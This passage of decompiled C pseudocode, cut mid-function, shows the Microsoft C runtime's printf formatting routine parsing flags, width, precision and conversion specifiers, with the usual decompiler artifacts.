														 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
														 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
														__eflags =  *(__ebp - 0x304) - 0x10;
														if( *(__ebp - 0x304) > 0x10) {
															goto L24;
														}
														L18:
														__ecx =  *(__ebp - 0x304);
														_t64 = __ecx + 0x428120; // 0x498d04
														__edx =  *_t64 & 0x000000ff;
														switch( *((intOrPtr*)(( *_t64 & 0x000000ff) * 4 +  &M00428108))) {
															case 0:
																goto L21;
															case 1:
																goto L22;
															case 2:
																goto L20;
															case 3:
																goto L19;
															case 4:
																goto L23;
															case 5:
																goto L24;
														}
													case 3:
														L25:
														__edx =  *((char*)(__ebp - 0x251));
														__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
														if( *((char*)(__ebp - 0x251)) != 0x2a) {
															__eax =  *(__ebp - 0x18);
															__eax =  *(__ebp - 0x18) * 0xa;
															__eflags = __eax;
															__ecx =  *((char*)(__ebp - 0x251));
															_t88 = __ecx - 0x30; // -48
															__edx = __eax + _t88;
															 *(__ebp - 0x18) = __eax + _t88;
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x18) = E00428360(__ebp + 0x14);
															__eflags =  *(__ebp - 0x18);
															if( *(__ebp - 0x18) < 0) {
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000004;
																__eflags = __ecx;
																 *(__ebp - 0x10) = __ecx;
																 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
															}
														}
														L30:
														goto L209;
													case 4:
														L31:
														 *(__ebp - 0x30) = 0;
														goto L209;
													case 5:
														L32:
														__eax =  *((char*)(__ebp - 0x251));
														__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
														if( *((char*)(__ebp - 0x251)) != 0x2a) {
															__edx =  *(__ebp - 0x30);
															__edx =  *(__ebp - 0x30) * 0xa;
															__eflags = __edx;
															_t99 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
															__ecx = __edx + _t99;
															 *(__ebp - 0x30) = __ecx;
														} else {
															__ecx = __ebp + 0x14;
															 *(__ebp - 0x30) = E00428360(__ebp + 0x14);
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) < 0) {
																 *(__ebp - 0x30) = 0xffffffff;
															}
														}
														goto L209;
													case 6:
														L38:
														__edx =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
														 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
														__eflags =  *(__ebp - 0x308) - 0x2e;
														if( *(__ebp - 0x308) > 0x2e) {
															L61:
															goto L209;
														}
														L39:
														__ecx =  *(__ebp - 0x308);
														_t107 = __ecx + 0x428148; // 0x79ff9003
														__edx =  *_t107 & 0x000000ff;
														switch( *((intOrPtr*)(( *_t107 & 0x000000ff) * 4 +  &M00428134))) {
															case 0:
																L44:
																__edx =  *(__ebp + 0xc);
																__eax =  *( *(__ebp + 0xc));
																__eflags =  *( *(__ebp + 0xc)) - 0x36;
																if( *( *(__ebp + 0xc)) != 0x36) {
																	L47:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc));
																	__eflags =  *( *(__ebp + 0xc)) - 0x33;
																	if( *( *(__ebp + 0xc)) != 0x33) {
																		L50:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x64;
																		if( *( *(__ebp + 0xc)) == 0x64) {
																			L56:
																			L58:
																			goto L61;
																		}
																		L51:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *__ecx;
																		__eflags =  *__ecx - 0x69;
																		if( *__ecx == 0x69) {
																			goto L56;
																		}
																		L52:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x6f;
																		if(__ecx == 0x6f) {
																			goto L56;
																		}
																		L53:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x75;
																		if( *( *(__ebp + 0xc)) == 0x75) {
																			goto L56;
																		}
																		L54:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *__ecx;
																		__eflags =  *__ecx - 0x78;
																		if( *__ecx == 0x78) {
																			goto L56;
																		}
																		L55:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x58;
																		if(__ecx != 0x58) {
																			 *(__ebp - 0x25c) = 0;
																			goto L9;
																		}
																		goto L56;
																	}
																	L48:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *((char*)(__ecx + 1));
																	__eflags =  *((char*)(__ecx + 1)) - 0x32;
																	if( *((char*)(__ecx + 1)) != 0x32) {
																		goto L50;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																		 *(__ebp - 0x10) = __ecx;
																		goto L58;
																	}
																}
																L45:
																__ecx =  *(__ebp + 0xc);
																__edx =  *((char*)(__ecx + 1));
																__eflags =  *((char*)(__ecx + 1)) - 0x34;
																if( *((char*)(__ecx + 1)) != 0x34) {
																	goto L47;
																} else {
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00008000;
																	 *(__ebp - 0x10) = __ecx;
																	goto L58;
																}
															case 1:
																L59:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																goto L61;
															case 2:
																L40:
																__eax =  *(__ebp + 0xc);
																__ecx =  *( *(__ebp + 0xc));
																__eflags = __ecx - 0x6c;
																if(__ecx != 0x6c) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000010;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																} else {
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																}
																goto L61;
															case 3:
																L60:
																__eax =  *(__ebp - 0x10);
																__eax =  *(__ebp - 0x10) | 0x00000800;
																__eflags = __eax;
																 *(__ebp - 0x10) = __eax;
																goto L61;
															case 4:
																goto L61;
														}
													case 7:
														L62:
														__ecx =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x30c) = __ecx;
														 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
														 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
														__eflags =  *(__ebp - 0x30c) - 0x37;
														if( *(__ebp - 0x30c) > 0x37) {
															while(1) {
																L181:
																__eflags =  *(_t668 - 0x28);
																if( *(_t668 - 0x28) != 0) {
																	goto L207;
																}
																goto L182;
															}
														}
														L63:
														_t148 =  *(__ebp - 0x30c) + 0x4281b4; // 0xcccccc0d
														__ecx =  *_t148 & 0x000000ff;
														switch( *((intOrPtr*)(__ecx * 4 +  &M00428178))) {
															case 0:
																L114:
																 *(__ebp - 0x2c) = 1;
																__ecx =  *((char*)(__ebp - 0x251));
																__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																__eflags = __ecx;
																 *((char*)(__ebp - 0x251)) = __cl;
																goto L115;
															case 1:
																L64:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																__eflags =  *(__ebp - 0x10) & 0x00000830;
																if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																}
																goto L66;
															case 2:
																L79:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																__eflags =  *(__ebp - 0x10) & 0x00000830;
																if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																}
																goto L81;
															case 3:
																L138:
																 *(__ebp - 0x260) = 7;
																goto L140;
															case 4:
																L72:
																__eax = __ebp + 0x14;
																 *(__ebp - 0x284) = E00428360(__ebp + 0x14);
																__eflags =  *(__ebp - 0x284);
																if( *(__ebp - 0x284) == 0) {
																	L74:
																	__edx =  *0x440f80; // 0x404448
																	 *(__ebp - 4) = __edx;
																	__eax =  *(__ebp - 4);
																	 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
																	L78:
																	goto L181;
																}
																L73:
																__ecx =  *(__ebp - 0x284);
																__eflags =  *(__ecx + 4);
																if( *(__ecx + 4) != 0) {
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																	__eflags =  *(__ebp - 0x10) & 0x00000800;
																	if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																		 *(__ebp - 0xc) = 0;
																		__edx =  *(__ebp - 0x284);
																		__eax =  *(__edx + 4);
																		 *(__ebp - 4) =  *(__edx + 4);
																		__ecx =  *(__ebp - 0x284);
																		__edx =  *__ecx;
																		 *(__ebp - 0x24) =  *__ecx;
																	} else {
																		__edx =  *(__ebp - 0x284);
																		__eax =  *(__edx + 4);
																		 *(__ebp - 4) =  *(__edx + 4);
																		__ecx =  *(__ebp - 0x284);
																		__eax =  *__ecx;
																		asm("cdq");
																		 *__ecx - __edx =  *__ecx - __edx >> 1;
																		 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																		 *(__ebp - 0xc) = 1;
																	}
																	goto L78;
																}
																goto L74;
															case 5:
																L115:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																__eax = __ebp - 0x248;
																 *(__ebp - 4) = __ebp - 0x248;
																 *(__ebp - 0x44) = 0x200;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) >= 0) {
																	L117:
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) != 0) {
																		L120:
																		__eflags =  *(__ebp - 0x30) - 0x200;
																		if( *(__ebp - 0x30) > 0x200) {
																			 *(__ebp - 0x30) = 0x200;
																		}
																		L122:
																		__eflags =  *(__ebp - 0x30) - 0xa3;
																		if( *(__ebp - 0x30) > 0xa3) {
																			 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																			 *(__ebp - 0x20) = L0041B750(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																			__eflags =  *(__ebp - 0x20);
																			if( *(__ebp - 0x20) == 0) {
																				 *(__ebp - 0x30) = 0xa3;
																			} else {
																				__eax =  *(__ebp - 0x20);
																				 *(__ebp - 4) =  *(__ebp - 0x20);
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																			}
																		}
																		 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																		 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																		__eax =  *(__ebp + 0x14);
																		_t275 = __eax - 8; // 0xe852f855
																		__ecx =  *_t275;
																		_t276 = __eax - 4; // 0xbc20
																		__edx =  *_t276;
																		 *(__ebp - 0x2a0) =  *_t275;
																		 *(__ebp - 0x29c) =  *_t276;
																		__ecx = __ebp - 0x40;
																		_push(E0041ACE0(__ebp - 0x40));
																		__eax =  *(__ebp - 0x2c);
																		_push( *(__ebp - 0x2c));
																		__ecx =  *(__ebp - 0x30);
																		_push( *(__ebp - 0x30));
																		__edx =  *((char*)(__ebp - 0x251));
																		_push( *((char*)(__ebp - 0x251)));
																		__eax =  *(__ebp - 0x44);
																		_push( *(__ebp - 0x44));
																		__ecx =  *(__ebp - 4);
																		_push( *(__ebp - 4));
																		__edx = __ebp - 0x2a0;
																		_push(__ebp - 0x2a0);
																		__eax =  *0x440374; // 0xf2632e26
																		__eax =  *__eax();
																		__esp = __esp + 0x1c;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) == 0) {
																				__ecx = __ebp - 0x40;
																				_push(E0041ACE0(__ebp - 0x40));
																				__edx =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__eax =  *0x440380; // 0xf2d1ae26
																				__eax =  *__eax();
																				__esp = __esp + 8;
																			}
																		}
																		__ecx =  *((char*)(__ebp - 0x251));
																		__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																		if( *((char*)(__ebp - 0x251)) == 0x67) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																				__ecx = __ebp - 0x40;
																				_push(E0041ACE0(__ebp - 0x40));
																				__eax =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__ecx =  *0x44037c; // 0xf2c8ae26
																				E00424550(__ecx) =  *__eax();
																				__esp = __esp + 8;
																			}
																		}
																		__edx =  *(__ebp - 4);
																		__eax =  *( *(__ebp - 4));
																		__eflags =  *( *(__ebp - 4)) - 0x2d;
																		if( *( *(__ebp - 4)) == 0x2d) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																			__edx =  *(__ebp - 4);
																			__edx =  *(__ebp - 4) + 1;
																			__eflags = __edx;
																			 *(__ebp - 4) = __edx;
																		}
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
																		do {
																			L181:
																			__eflags =  *(_t668 - 0x28);
																			if( *(_t668 - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		} while ( *(__ebp - 0x30c) > 0x37);
																		goto L63;
																	}
																	L118:
																	__ecx =  *((char*)(__ebp - 0x251));
																	__eflags = __ecx - 0x67;
																	if(__ecx != 0x67) {
																		goto L120;
																	}
																	L119:
																	 *(__ebp - 0x30) = 1;
																	goto L122;
																}
																L116:
																 *(__ebp - 0x30) = 6;
																goto L122;
															case 6:
																L66:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																__eflags =  *(__ebp - 0x10) & 0x00000810;
																if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																	__ebp + 0x14 = E00428360(__ebp + 0x14);
																	 *(__ebp - 0x280) = __ax;
																	__cl =  *(__ebp - 0x280);
																	 *(__ebp - 0x248) = __cl;
																	 *(__ebp - 0x24) = 1;
																} else {
																	 *(__ebp - 0x27c) = 0;
																	__edx = __ebp + 0x14;
																	__eax = E004283A0(__ebp + 0x14);
																	 *(__ebp - 0x258) = __ax;
																	__eax =  *(__ebp - 0x258) & 0x0000ffff;
																	__ecx = __ebp - 0x248;
																	__edx = __ebp - 0x24;
																	 *(__ebp - 0x27c) = E00434220(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																	__eflags =  *(__ebp - 0x27c);
																	if( *(__ebp - 0x27c) != 0) {
																		 *(__ebp - 0x28) = 1;
																	}
																}
																__edx = __ebp - 0x248;
																 *(__ebp - 4) = __ebp - 0x248;
																while(1) {
																	L181:
																	__eflags =  *(_t668 - 0x28);
																	if( *(_t668 - 0x28) != 0) {
																		goto L207;
																	}
																	goto L182;
																}
															case 7:
																L135:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																 *((intOrPtr*)(__ebp - 8)) = 0xa;
																L144:
																__eflags =  *(_t668 - 0x10) & 0x00008000;
																if(( *(_t668 - 0x10) & 0x00008000) == 0) {
																	_t615 =  *(_t668 - 0x10) & 0x00001000;
																	__eflags = _t615;
																	if(_t615 == 0) {
																		__eflags =  *(_t668 - 0x10) & 0x00000020;
																		if(( *(_t668 - 0x10) & 0x00000020) == 0) {
																			_t617 =  *(_t668 - 0x10) & 0x00000040;
																			__eflags = _t617;
																			if(_t617 == 0) {
																				_t476 = E00428360(_t668 + 0x14);
																				_t670 = _t670 + 4;
																				__eflags = 0;
																				 *(_t668 - 0x2b0) = _t476;
																				 *(_t668 - 0x2ac) = 0;
																			} else {
																				_t549 = E00428360(_t668 + 0x14);
																				_t670 = _t670 + 4;
																				asm("cdq");
																				 *(_t668 - 0x2b0) = _t549;
																				 *(_t668 - 0x2ac) = _t617;
																			}
																		} else {
																			_t665 =  *(_t668 - 0x10) & 0x00000040;
																			__eflags = _t665;
																			if(_t665 == 0) {
																				_t550 = E00428360(_t668 + 0x14);
																				_t670 = _t670 + 4;
																				asm("cdq");
																				 *(_t668 - 0x2b0) = _t550 & 0x0000ffff;
																				 *(_t668 - 0x2ac) = _t665;
																			} else {
																				_t553 = E00428360(_t668 + 0x14);
																				_t670 = _t670 + 4;
																				asm("cdq");
																				 *(_t668 - 0x2b0) = _t553;
																				 *(_t668 - 0x2ac) = _t665;
																			}
																		}
																	} else {
																		_t556 = E00428380(_t668 + 0x14);
																		_t670 = _t670 + 4;
																		 *(_t668 - 0x2b0) = _t556;
																		 *(_t668 - 0x2ac) = _t615;
																	}
																} else {
																	_t557 = E00428380(_t668 + 0x14);
																	_t670 = _t670 + 4;
																	 *(_t668 - 0x2b0) = _t557;
																	 *(_t668 - 0x2ac) = _t613;
																}
																__eflags =  *(_t668 - 0x10) & 0x00000040;
																if(( *(_t668 - 0x10) & 0x00000040) == 0) {
																	goto L161;
																}
															case 8:
																L100:
																__ecx = __ebp + 0x14;
																 *(__ebp - 0x294) = E00428360(__ebp + 0x14);
																__eax = E00433F00();
																__eflags = __eax;
																if(__eax != 0) {
																	L110:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																	__eflags =  *(__ebp - 0x10) & 0x00000020;
																	if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																		__edx =  *(__ebp - 0x294);
																		__eax =  *(__ebp - 0x24c);
																		 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																	} else {
																		__eax =  *(__ebp - 0x294);
																		 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																	}
																	 *(__ebp - 0x28) = 1;
																	while(1) {
																		L181:
																		__eflags =  *(_t668 - 0x28);
																		if( *(_t668 - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
																}
																L101:
																__edx = 0;
																__eflags = 0;
																if(0 == 0) {
																	 *(__ebp - 0x314) = 0;
																} else {
																	 *(__ebp - 0x314) = 1;
																}
																__eax =  *(__ebp - 0x314);
																 *(__ebp - 0x298) =  *(__ebp - 0x314);
																__eflags =  *(__ebp - 0x298);
																if( *(__ebp - 0x298) == 0) {
																	_push(L"(\"\'n\' format specifier disabled\", 0)");
																	_push(0);
																	_push(0x695);
																	_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																	_push(2);
																	__eax = L0041E210();
																	__esp = __esp + 0x14;
																	__eflags = __eax - 1;
																	if(__eax == 1) {
																		asm("int3");
																	}
																}
																__eflags =  *(__ebp - 0x298);
																if( *(__ebp - 0x298) != 0) {
																	L109:
																	while(1) {
																		L181:
																		__eflags =  *(_t668 - 0x28);
																		if( *(_t668 - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
																} else {
																	L108:
																	 *((intOrPtr*)(L00422D00(__ecx))) = 0x16;
																	__eax = E00422A90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																	 *(__ebp - 0x2e8) = 0xffffffff;
																	__ecx = __ebp - 0x40;
																	__eax = E0041ACB0(__ecx);
																	__eax =  *(__ebp - 0x2e8);
																	L211:
																	return E0042BCB0(_t497, _t558,  *(_t668 - 0x48) ^ _t668, _t631, _t666, _t667);
																}
															case 9:
																goto L0;
															case 0xa:
																L137:
																 *(__ebp - 0x30) = 8;
																goto L138;
															case 0xb:
																L81:
																__eflags =  *(__ebp - 0x30) - 0xffffffff;
																if( *(__ebp - 0x30) != 0xffffffff) {
																	__edx =  *(__ebp - 0x30);
																	 *(__ebp - 0x310) =  *(__ebp - 0x30);
																} else {
																	 *(__ebp - 0x310) = 0x7fffffff;
																}
																__eax =  *(__ebp - 0x310);
																 *(__ebp - 0x28c) =  *(__ebp - 0x310);
																__ecx = __ebp + 0x14;
																 *(__ebp - 4) = E00428360(__ebp + 0x14);
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																__eflags =  *(__ebp - 0x10) & 0x00000810;
																if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																	L92:
																	__eflags =  *(__ebp - 4);
																	if( *(__ebp - 4) == 0) {
																		__edx =  *0x440f80; // 0x404448
																		 *(__ebp - 4) = __edx;
																	}
																	__eax =  *(__ebp - 4);
																	 *(__ebp - 0x288) =  *(__ebp - 4);
																	while(1) {
																		L95:
																		__ecx =  *(__ebp - 0x28c);
																		 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																		 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			break;
																		}
																		L96:
																		__eax =  *(__ebp - 0x288);
																		__ecx =  *( *(__ebp - 0x288));
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			break;
																		}
																		L97:
																		 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																		 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																	}
																	L98:
																	__eax =  *(__ebp - 0x288);
																	__eax =  *(__ebp - 0x288) -  *(__ebp - 4);
																	__eflags = __eax;
																	 *(__ebp - 0x24) = __eax;
																	goto L99;
																} else {
																	L85:
																	__eflags =  *(__ebp - 4);
																	if( *(__ebp - 4) == 0) {
																		__eax =  *0x440f84; // 0x404438
																		 *(__ebp - 4) = __eax;
																	}
																	 *(__ebp - 0xc) = 1;
																	__ecx =  *(__ebp - 4);
																	 *(__ebp - 0x290) =  *(__ebp - 4);
																	while(1) {
																		L88:
																		__edx =  *(__ebp - 0x28c);
																		 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																		 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																		__eflags =  *(__ebp - 0x28c);
																		if( *(__ebp - 0x28c) == 0) {
																			break;
																		}
																		L89:
																		__ecx =  *(__ebp - 0x290);
																		__edx =  *( *(__ebp - 0x290)) & 0x0000ffff;
																		__eflags =  *( *(__ebp - 0x290)) & 0x0000ffff;
																		if(( *( *(__ebp - 0x290)) & 0x0000ffff) == 0) {
																			break;
																		}
																		L90:
																		 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																		 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																	}
																	L91:
																	 *(__ebp - 0x290) =  *(__ebp - 0x290) -  *(__ebp - 4);
																	__ecx =  *(__ebp - 0x290) -  *(__ebp - 4) >> 1;
																	 *(__ebp - 0x24) = __ecx;
																	L99:
																	while(1) {
																		L181:
																		__eflags =  *(_t668 - 0x28);
																		if( *(_t668 - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
																}
															case 0xc:
																L136:
																 *((intOrPtr*)(__ebp - 8)) = 0xa;
																while(1) {
																	L144:
																	__eflags =  *(_t668 - 0x10) & 0x00008000;
																	if(( *(_t668 - 0x10) & 0x00008000) == 0) {
																		_t615 =  *(_t668 - 0x10) & 0x00001000;
																		__eflags = _t615;
																		if(_t615 == 0) {
																			__eflags =  *(_t668 - 0x10) & 0x00000020;
																			if(( *(_t668 - 0x10) & 0x00000020) == 0) {
																				_t617 =  *(_t668 - 0x10) & 0x00000040;
																				__eflags = _t617;
																				if(_t617 == 0) {
																					_t476 = E00428360(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					__eflags = 0;
																					 *(_t668 - 0x2b0) = _t476;
																					 *(_t668 - 0x2ac) = 0;
																				} else {
																					_t549 = E00428360(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t549;
																					 *(_t668 - 0x2ac) = _t617;
																				}
																			} else {
																				_t665 =  *(_t668 - 0x10) & 0x00000040;
																				__eflags = _t665;
																				if(_t665 == 0) {
																					_t550 = E00428360(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t550 & 0x0000ffff;
																					 *(_t668 - 0x2ac) = _t665;
																				} else {
																					_t553 = E00428360(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t553;
																					 *(_t668 - 0x2ac) = _t665;
																				}
																			}
																		} else {
																			_t556 = E00428380(_t668 + 0x14);
																			_t670 = _t670 + 4;
																			 *(_t668 - 0x2b0) = _t556;
																			 *(_t668 - 0x2ac) = _t615;
																		}
																	} else {
																		_t557 = E00428380(_t668 + 0x14);
																		_t670 = _t670 + 4;
																		 *(_t668 - 0x2b0) = _t557;
																		 *(_t668 - 0x2ac) = _t613;
																	}
																	__eflags =  *(_t668 - 0x10) & 0x00000040;
																	if(( *(_t668 - 0x10) & 0x00000040) == 0) {
																		goto L161;
																	}
																	goto L157;
																}
															case 0xd:
																L139:
																 *(__ebp - 0x260) = 0x27;
																L140:
																 *((intOrPtr*)(__ebp - 8)) = 0x10;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																	 *((char*)(__ebp - 0x14)) = 0x30;
																	 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																	__eflags =  *(__ebp - 0x260) + 0x51;
																	 *((char*)(__ebp - 0x13)) = __al;
																	 *(__ebp - 0x1c) = 2;
																}
																while(1) {
																	L144:
																	__eflags =  *(_t668 - 0x10) & 0x00008000;
																	if(( *(_t668 - 0x10) & 0x00008000) == 0) {
																		_t615 =  *(_t668 - 0x10) & 0x00001000;
																		__eflags = _t615;
																		if(_t615 == 0) {
																			__eflags =  *(_t668 - 0x10) & 0x00000020;
																			if(( *(_t668 - 0x10) & 0x00000020) == 0) {
																				_t617 =  *(_t668 - 0x10) & 0x00000040;
																				__eflags = _t617;
																				if(_t617 == 0) {
																					_t476 = E00428360(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					__eflags = 0;
																					 *(_t668 - 0x2b0) = _t476;
																					 *(_t668 - 0x2ac) = 0;
																				} else {
																					_t549 = E00428360(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t549;
																					 *(_t668 - 0x2ac) = _t617;
																				}
																			} else {
																				_t665 =  *(_t668 - 0x10) & 0x00000040;
																				__eflags = _t665;
																				if(_t665 == 0) {
																					_t550 = E00428360(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t550 & 0x0000ffff;
																					 *(_t668 - 0x2ac) = _t665;
																				} else {
																					_t553 = E00428360(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t553;
																					 *(_t668 - 0x2ac) = _t665;
																				}
																			}
																		} else {
																			_t556 = E00428380(_t668 + 0x14);
																			_t670 = _t670 + 4;
																			 *(_t668 - 0x2b0) = _t556;
																			 *(_t668 - 0x2ac) = _t615;
																		}
																	} else {
																		_t557 = E00428380(_t668 + 0x14);
																		_t670 = _t670 + 4;
																		 *(_t668 - 0x2b0) = _t557;
																		 *(_t668 - 0x2ac) = _t613;
																	}
																	__eflags =  *(_t668 - 0x10) & 0x00000040;
																	if(( *(_t668 - 0x10) & 0x00000040) == 0) {
																		goto L161;
																	}
																	goto L157;
																}
															case 0xe:
																while(1) {
																	L181:
																	__eflags =  *(_t668 - 0x28);
																	if( *(_t668 - 0x28) != 0) {
																		goto L207;
																	}
																	goto L182;
																}
														}
													case 8:
														L21:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
														goto L24;
													case 9:
														L22:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
														goto L24;
													case 0xa:
														L20:
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000001;
														 *(__ebp - 0x10) = __ecx;
														goto L24;
													case 0xb:
														L19:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
														goto L24;
													case 0xc:
														L23:
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000008;
														__eflags = __ecx;
